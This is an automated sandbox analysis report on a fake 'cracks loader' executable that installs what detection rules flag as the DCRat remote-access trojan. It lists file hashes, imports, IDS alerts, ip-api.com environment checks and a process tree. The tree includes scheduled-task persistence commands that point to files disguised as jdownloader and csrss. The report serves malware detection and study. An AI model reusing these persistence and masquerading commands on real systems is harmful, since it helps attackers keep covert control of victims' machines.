TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	NewLoaderCracks_1.32.exe
File size:	2'064'076 bytes
MD5:	957e3773e9346cee687c19fce88b7f4a
SHA1:	86e0dbdf89012c5e2fee9feb0867ce867e8d5a1a
SHA256:	2928f73f9fa919f37465f87f2cec1098c255bb420bc38d245aeb136c6e7f1271
SHA512:	3f9a3943b511aec7d95371ca77e2e6958d342b5e96480f6c8db376520ba8b2dd3f81f7834c8e0fc39f2bd4633331f22f0bb165f60c7ba622404f1b09fb1931e0
SSDEEP:	24576:h2G/nvxW3WbMn0Xbux7fBIcZYBhXDz9rDYe0sbT2EqdGoFKfD/M5lXVcpm:hbA3+M0Xbux7bKPRse0mTnqfELMJ5
TLSH:	65A59D413E448A11F0191A37CEFF65079BB098112AABD71B7DB9376E65D13A27C0CACB
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......b`..&...&...&.....h.+.....j.......k.>.....^.$...._..0...._..5...._....../y..,.../y..#...&...*...._......._..'...._f.'...._..'..

File Icon


Icon Hash:	000812b269640800

Static PE Info

General

Entrypoint:	0x41ec40
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x5FC684D7 [Tue Dec 1 18:00:55 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	fcf1390e9ce472c7270447fc5c61a0c1

Entrypoint Preview

Instruction
call 00007F821D15F3B9h
jmp 00007F821D15EDCDh
cmp ecx, dword ptr [0043E668h]
jne 00007F821D15EF45h
ret
jmp 00007F821D15F53Eh
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007F821D151CD7h
mov dword ptr [esi], 00435580h
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 00435588h
mov dword ptr [ecx], 00435580h
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
lea eax, dword ptr [ecx+04h]
mov dword ptr [ecx], 00435568h
push eax
call 00007F821D1620DDh
pop ecx
ret
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007F821D151C6Eh
push 0043B704h
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007F821D1617F2h
int3
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007F821D15EEE4h
push 0043B91Ch
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007F821D1617D5h
int3
jmp 00007F821D163823h
jmp dword ptr [00433260h]
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push 00421EB0h
push dword ptr fs:[00000000h]

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[C++] VS2015 UPD3.1 build 24215
[EXP] VS2015 UPD3.1 build 24215
[RES] VS2015 UPD3 build 24213
[LNK] VS2015 UPD3.1 build 24215

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x3c820	0x34	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3c854	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x63000	0x46968	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xaa000	0x2268	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3aac0	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x35508	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x33000	0x260	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x3bdc4	0x120	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x310ea	0x31200	c5bf61bbedb6ad471e9dc6266398e965	False	0.583959526081425	data	6.708075396341128	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x33000	0xa612	0xa800	7980b588d5b28128a2f3c36cabe2ce98	False	0.45284598214285715	data	5.221742709250668	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3e000	0x23728	0x1000	201530c9e56f172adf2473053298d48f	False	0.36767578125	data	3.7088186669877685	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didat	0x62000	0x188	0x200	c5d41d8f254f69e567595ab94266cfdc	False	0.4453125	data	3.2982538067961342	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x63000	0x46968	0x46a00	8426d8ceebf2528be4d7e96816c46c49	False	0.11474350110619469	data	3.4349144579338264	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xaa000	0x2268	0x2400	c7a942b723cb29d9c02f7c611b544b50	False	0.7681206597222222	data	6.5548620101740545	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
PNG	0x63524	0xb45	PNG image data, 93 x 302, 8-bit/color RGB, non-interlaced	English	United States	1.0027729636048528
PNG	0x6406c	0x15a9	PNG image data, 186 x 604, 8-bit/color RGB, non-interlaced	English	United States	0.9363390441839495
RT_ICON	0x65618	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 262144			0.07709264135870048
RT_DIALOG	0xa7640	0x286	data	English	United States	0.5092879256965944
RT_DIALOG	0xa78c8	0x13a	data	English	United States	0.60828025477707
RT_DIALOG	0xa7a04	0xec	data	English	United States	0.6991525423728814
RT_DIALOG	0xa7af0	0x12e	data	English	United States	0.5927152317880795
RT_DIALOG	0xa7c20	0x338	data	English	United States	0.45145631067961167
RT_DIALOG	0xa7f58	0x252	data	English	United States	0.5757575757575758
RT_STRING	0xa81ac	0x1e2	data	English	United States	0.3900414937759336
RT_STRING	0xa8390	0x1cc	data	English	United States	0.4282608695652174
RT_STRING	0xa855c	0x1b8	data	English	United States	0.45681818181818185
RT_STRING	0xa8714	0x146	data	English	United States	0.5153374233128835
RT_STRING	0xa885c	0x446	data	English	United States	0.340036563071298
RT_STRING	0xa8ca4	0x166	data	English	United States	0.49162011173184356
RT_STRING	0xa8e0c	0x152	data	English	United States	0.5059171597633136
RT_STRING	0xa8f60	0x10a	data	English	United States	0.49624060150375937
RT_STRING	0xa906c	0xbc	data	English	United States	0.6329787234042553
RT_STRING	0xa9128	0xd6	data	English	United States	0.5747663551401869
RT_GROUP_ICON	0xa9200	0x14	data			1.1
RT_MANIFEST	0xa9214	0x753	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.39786666666666665

Imports

DLL

Import

KERNEL32.dll

GetLastError, SetLastError, FormatMessageW, GetCurrentProcess, DeviceIoControl, SetFileTime, CloseHandle, CreateDirectoryW, RemoveDirectoryW, CreateFileW, DeleteFileW, CreateHardLinkW, GetShortPathNameW, GetLongPathNameW, MoveFileW, GetFileType, GetStdHandle, WriteFile, ReadFile, FlushFileBuffers, SetEndOfFile, SetFilePointer, SetFileAttributesW, GetFileAttributesW, FindClose, FindFirstFileW, FindNextFileW, GetVersionExW, GetCurrentDirectoryW, GetFullPathNameW, FoldStringW, GetModuleFileNameW, GetModuleHandleW, FindResourceW, FreeLibrary, GetProcAddress, GetCurrentProcessId, ExitProcess, SetThreadExecutionState, Sleep, LoadLibraryW, GetSystemDirectoryW, CompareStringW, AllocConsole, FreeConsole, AttachConsole, WriteConsoleW, GetProcessAffinityMask, CreateThread, SetThreadPriority, InitializeCriticalSection, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, SetEvent, ResetEvent, ReleaseSemaphore, WaitForSingleObject, CreateEventW, CreateSemaphoreW, GetSystemTime, SystemTimeToTzSpecificLocalTime, TzSpecificLocalTimeToSystemTime, SystemTimeToFileTime, FileTimeToLocalFileTime, LocalFileTimeToFileTime, FileTimeToSystemTime, GetCPInfo, IsDBCSLeadByte, MultiByteToWideChar, WideCharToMultiByte, GlobalAlloc, LockResource, GlobalLock, GlobalUnlock, GlobalFree, LoadResource, SizeofResource, SetCurrentDirectoryW, GetExitCodeProcess, GetLocalTime, GetTickCount, MapViewOfFile, UnmapViewOfFile, CreateFileMappingW, OpenFileMappingW, GetCommandLineW, SetEnvironmentVariableW, ExpandEnvironmentStringsW, GetTempPathW, MoveFileExW, GetLocaleInfoW, GetTimeFormatW, GetDateFormatW, GetNumberFormatW, SetFilePointerEx, GetConsoleMode, GetConsoleCP, HeapSize, SetStdHandle, GetProcessHeap, RaiseException, GetSystemInfo, VirtualProtect, VirtualQuery, LoadLibraryExA, IsProcessorFeaturePresent, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, TerminateProcess, RtlUnwind, EncodePointer, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, QueryPerformanceFrequency, GetModuleHandleExW, GetModuleFileNameA, GetACP, HeapFree, HeapAlloc, HeapReAlloc, GetStringTypeW, LCMapStringW, FindFirstFileExA, FindNextFileA, IsValidCodePage, GetOEMCP, GetCommandLineA, GetEnvironmentStringsW, FreeEnvironmentStringsW, DecodePointer

gdiplus.dll

GdiplusShutdown, GdiplusStartup, GdipCreateHBITMAPFromBitmap, GdipCreateBitmapFromStreamICM, GdipCreateBitmapFromStream, GdipDisposeImage, GdipCloneImage, GdipFree, GdipAlloc

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-04T15:43:08.930952+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49780	208.95.112.1	80	TCP
2024-10-04T15:43:12.399719+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49803	208.95.112.1	80	TCP
2024-10-04T15:43:16.421787+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49828	208.95.112.1	80	TCP
2024-10-04T15:43:19.712146+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49852	208.95.112.1	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 4, 2024 15:43:07.097824097 CEST	49780	80	192.168.2.6	208.95.112.1
Oct 4, 2024 15:43:07.102677107 CEST	80	49780	208.95.112.1	192.168.2.6
Oct 4, 2024 15:43:07.103086948 CEST	49780	80	192.168.2.6	208.95.112.1
Oct 4, 2024 15:43:07.178884029 CEST	49780	80	192.168.2.6	208.95.112.1
Oct 4, 2024 15:43:07.183845997 CEST	80	49780	208.95.112.1	192.168.2.6
Oct 4, 2024 15:43:07.580414057 CEST	80	49780	208.95.112.1	192.168.2.6
Oct 4, 2024 15:43:07.634038925 CEST	49780	80	192.168.2.6	208.95.112.1
Oct 4, 2024 15:43:08.764247894 CEST	49780	80	192.168.2.6	208.95.112.1
Oct 4, 2024 15:43:08.777782917 CEST	80	49780	208.95.112.1	192.168.2.6
Oct 4, 2024 15:43:08.882477999 CEST	80	49780	208.95.112.1	192.168.2.6
Oct 4, 2024 15:43:08.930952072 CEST	49780	80	192.168.2.6	208.95.112.1
Oct 4, 2024 15:43:11.363601923 CEST	49780	80	192.168.2.6	208.95.112.1
Oct 4, 2024 15:43:11.368782997 CEST	80	49780	208.95.112.1	192.168.2.6
Oct 4, 2024 15:43:11.368891954 CEST	49780	80	192.168.2.6	208.95.112.1
Oct 4, 2024 15:43:11.484736919 CEST	49803	80	192.168.2.6	208.95.112.1
Oct 4, 2024 15:43:11.697382927 CEST	80	49803	208.95.112.1	192.168.2.6
Oct 4, 2024 15:43:11.697465897 CEST	49803	80	192.168.2.6	208.95.112.1
Oct 4, 2024 15:43:11.697663069 CEST	49803	80	192.168.2.6	208.95.112.1
Oct 4, 2024 15:43:11.704617977 CEST	80	49803	208.95.112.1	192.168.2.6
Oct 4, 2024 15:43:12.183142900 CEST	80	49803	208.95.112.1	192.168.2.6
Oct 4, 2024 15:43:12.399719000 CEST	49803	80	192.168.2.6	208.95.112.1
Oct 4, 2024 15:43:12.402129889 CEST	80	49803	208.95.112.1	192.168.2.6
Oct 4, 2024 15:43:12.404262066 CEST	49803	80	192.168.2.6	208.95.112.1
Oct 4, 2024 15:43:14.349529982 CEST	49819	80	192.168.2.6	208.95.112.1
Oct 4, 2024 15:43:14.361665010 CEST	80	49819	208.95.112.1	192.168.2.6
Oct 4, 2024 15:43:14.361747026 CEST	49819	80	192.168.2.6	208.95.112.1
Oct 4, 2024 15:43:14.361923933 CEST	49819	80	192.168.2.6	208.95.112.1
Oct 4, 2024 15:43:14.370662928 CEST	80	49819	208.95.112.1	192.168.2.6
Oct 4, 2024 15:43:14.833483934 CEST	80	49819	208.95.112.1	192.168.2.6
Oct 4, 2024 15:43:15.050348043 CEST	80	49819	208.95.112.1	192.168.2.6
Oct 4, 2024 15:43:15.111035109 CEST	49819	80	192.168.2.6	208.95.112.1
Oct 4, 2024 15:43:15.865942955 CEST	49819	80	192.168.2.6	208.95.112.1
Oct 4, 2024 15:43:15.868794918 CEST	49828	80	192.168.2.6	208.95.112.1
Oct 4, 2024 15:43:15.872258902 CEST	80	49819	208.95.112.1	192.168.2.6
Oct 4, 2024 15:43:15.873825073 CEST	80	49828	208.95.112.1	192.168.2.6
Oct 4, 2024 15:43:15.877583027 CEST	49819	80	192.168.2.6	208.95.112.1
Oct 4, 2024 15:43:15.877621889 CEST	49828	80	192.168.2.6	208.95.112.1
Oct 4, 2024 15:43:15.877842903 CEST	49828	80	192.168.2.6	208.95.112.1
Oct 4, 2024 15:43:15.886087894 CEST	80	49828	208.95.112.1	192.168.2.6
Oct 4, 2024 15:43:16.348215103 CEST	80	49828	208.95.112.1	192.168.2.6
Oct 4, 2024 15:43:16.421787024 CEST	49828	80	192.168.2.6	208.95.112.1
Oct 4, 2024 15:43:17.438334942 CEST	49803	80	192.168.2.6	208.95.112.1
Oct 4, 2024 15:43:17.535017014 CEST	49840	80	192.168.2.6	208.95.112.1
Oct 4, 2024 15:43:17.540239096 CEST	80	49840	208.95.112.1	192.168.2.6
Oct 4, 2024 15:43:17.541981936 CEST	49840	80	192.168.2.6	208.95.112.1
Oct 4, 2024 15:43:17.542167902 CEST	49840	80	192.168.2.6	208.95.112.1
Oct 4, 2024 15:43:17.547200918 CEST	80	49840	208.95.112.1	192.168.2.6
Oct 4, 2024 15:43:18.011852980 CEST	80	49840	208.95.112.1	192.168.2.6
Oct 4, 2024 15:43:18.138719082 CEST	49840	80	192.168.2.6	208.95.112.1
Oct 4, 2024 15:43:19.140423059 CEST	49840	80	192.168.2.6	208.95.112.1
Oct 4, 2024 15:43:19.141268969 CEST	49852	80	192.168.2.6	208.95.112.1
Oct 4, 2024 15:43:19.145941973 CEST	80	49840	208.95.112.1	192.168.2.6
Oct 4, 2024 15:43:19.145987988 CEST	49840	80	192.168.2.6	208.95.112.1
Oct 4, 2024 15:43:19.146334887 CEST	80	49852	208.95.112.1	192.168.2.6
Oct 4, 2024 15:43:19.146392107 CEST	49852	80	192.168.2.6	208.95.112.1
Oct 4, 2024 15:43:19.146498919 CEST	49852	80	192.168.2.6	208.95.112.1
Oct 4, 2024 15:43:19.151348114 CEST	80	49852	208.95.112.1	192.168.2.6
Oct 4, 2024 15:43:19.614886045 CEST	80	49852	208.95.112.1	192.168.2.6
Oct 4, 2024 15:43:19.712146044 CEST	49852	80	192.168.2.6	208.95.112.1
Oct 4, 2024 15:43:20.842609882 CEST	49864	80	192.168.2.6	208.95.112.1
Oct 4, 2024 15:43:20.848647118 CEST	80	49864	208.95.112.1	192.168.2.6
Oct 4, 2024 15:43:20.848879099 CEST	49864	80	192.168.2.6	208.95.112.1
Oct 4, 2024 15:43:20.849035978 CEST	49864	80	192.168.2.6	208.95.112.1
Oct 4, 2024 15:43:20.853775978 CEST	80	49864	208.95.112.1	192.168.2.6
Oct 4, 2024 15:43:21.076090097 CEST	49852	80	192.168.2.6	208.95.112.1
Oct 4, 2024 15:43:21.342653036 CEST	80	49864	208.95.112.1	192.168.2.6
Oct 4, 2024 15:43:21.404654980 CEST	49864	80	192.168.2.6	208.95.112.1
Oct 4, 2024 15:43:22.029927969 CEST	49828	80	192.168.2.6	208.95.112.1
Oct 4, 2024 15:43:22.034228086 CEST	49864	80	192.168.2.6	208.95.112.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 4, 2024 15:43:07.082932949 CEST	63736	53	192.168.2.6	1.1.1.1
Oct 4, 2024 15:43:07.089943886 CEST	53	63736	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 4, 2024 15:43:07.082932949 CEST	192.168.2.6	1.1.1.1	0x40d3	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 4, 2024 15:43:07.089943886 CEST	1.1.1.1	192.168.2.6	0x40d3	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49780	208.95.112.1	80	3472	C:\comcontainer\SurrogateRef.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 15:43:07.178884029 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Oct 4, 2024 15:43:07.580414057 CEST	175	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 13:43:07 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 66 61 6c 73 65 0a Data Ascii: false
Oct 4, 2024 15:43:08.764247894 CEST	56	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com
Oct 4, 2024 15:43:08.882477999 CEST	175	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 13:43:08 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 58 X-Rl: 43 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49803	208.95.112.1	80	3472	C:\comcontainer\SurrogateRef.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 15:43:11.697663069 CEST	56	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com
Oct 4, 2024 15:43:12.183142900 CEST	175	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 13:43:11 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 55 X-Rl: 42 Data Raw: 66 61 6c 73 65 0a Data Ascii: false
Oct 4, 2024 15:43:12.402129889 CEST	175	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 13:43:11 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 55 X-Rl: 42 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49819	208.95.112.1	80	3472	C:\comcontainer\SurrogateRef.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 15:43:14.361923933 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Oct 4, 2024 15:43:14.833483934 CEST	175	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 13:43:14 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 52 X-Rl: 41 Data Raw: 66 61 6c 73 65 0a Data Ascii: false
Oct 4, 2024 15:43:15.050348043 CEST	175	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 13:43:14 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 52 X-Rl: 41 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49828	208.95.112.1	80	3472	C:\comcontainer\SurrogateRef.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 15:43:15.877842903 CEST	56	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com
Oct 4, 2024 15:43:16.348215103 CEST	175	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 13:43:15 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 51 X-Rl: 40 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49840	208.95.112.1	80	3472	C:\comcontainer\SurrogateRef.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 15:43:17.542167902 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Oct 4, 2024 15:43:18.011852980 CEST	175	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 13:43:17 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 49 X-Rl: 39 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49852	208.95.112.1	80	3472	C:\comcontainer\SurrogateRef.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 15:43:19.146498919 CEST	56	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com
Oct 4, 2024 15:43:19.614886045 CEST	175	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 13:43:19 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 47 X-Rl: 38 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49864	208.95.112.1	80	3472	C:\comcontainer\SurrogateRef.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 15:43:20.849035978 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Oct 4, 2024 15:43:21.342653036 CEST	175	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 13:43:20 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 46 X-Rl: 37 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

Target ID:	0
Start time:	09:42:49
Start date:	04/10/2024
Path:	C:\Users\user\Desktop\NewLoaderCracks_1.32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\NewLoaderCracks_1.32.exe"
Imagebase:	0x540000
File size:	2'064'076 bytes
MD5 hash:	957E3773E9346CEE687C19FCE88B7F4A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	09:42:50
Start date:	04/10/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\comcontainer\Kr8tZ.vbe"
Imagebase:	0xe50000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:43:00
Start date:	04/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\comcontainer\xNFGfK2ypxJsgsGsm5kX9.bat" "
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:43:01
Start date:	04/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:43:02
Start date:	04/10/2024
Path:	C:\comcontainer\SurrogateRef.exe
Wow64 process (32bit):	false
Commandline:	"C:\comcontainer\SurrogateRef.exe"
Imagebase:	0x20000
File size:	1'515'008 bytes
MD5 hash:	A730EA6D448D235275000CF8ADA09A96
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000005.00000002.2465802434.0000000002937000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000005.00000002.2465802434.0000000002391000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000005.00000002.2472557377.000000001239D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 88%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	09:43:10
Start date:	04/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "SwpTnCnrsAAKjgTAQS" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\jdownloader\config\SwpTnCnrsAAKjgTAQ.exe'" /f
Imagebase:	0x7ff7bd6e0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	09:43:10
Start date:	04/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "SwpTnCnrsAAKjgTAQ" /sc ONLOGON /tr "'C:\Program Files (x86)\jdownloader\config\SwpTnCnrsAAKjgTAQ.exe'" /rl HIGHEST /f
Imagebase:	0x7ff7bd6e0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	09:43:10
Start date:	04/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "SwpTnCnrsAAKjgTAQS" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\jdownloader\config\SwpTnCnrsAAKjgTAQ.exe'" /rl HIGHEST /f
Imagebase:	0x7ff7bd6e0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	09:43:10
Start date:	04/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 8 /tr "'C:\Recovery\csrss.exe'" /f
Imagebase:	0x7ff7bd6e0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
